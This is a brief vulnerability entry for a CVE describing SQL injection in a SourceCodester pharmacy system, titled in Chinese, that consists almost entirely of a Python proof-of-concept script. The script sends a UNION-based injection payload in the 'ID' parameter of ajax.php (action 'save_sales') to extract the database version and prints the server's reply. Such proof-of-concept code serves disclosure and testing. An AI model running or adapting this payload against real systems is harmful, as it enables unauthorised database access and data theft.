CVE-2026-7087 SourceCodester药店系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/ajax.php" # Malicious payload to test SQL Injection # Example: Attempt to extract database version using UNION-based injection payload = "1' UNION SELECT NULL, NULL, version(), NULL-- -" # Parameters to be sent to the vulnerable endpoint params = { "action": "save_sales", "ID": payload } try: # Sending the malicious request response = requests.get(target_url, params=params) # Checking if the request was successful if response.status_code == 200: print("[+] PoC request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars of response for analysis else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")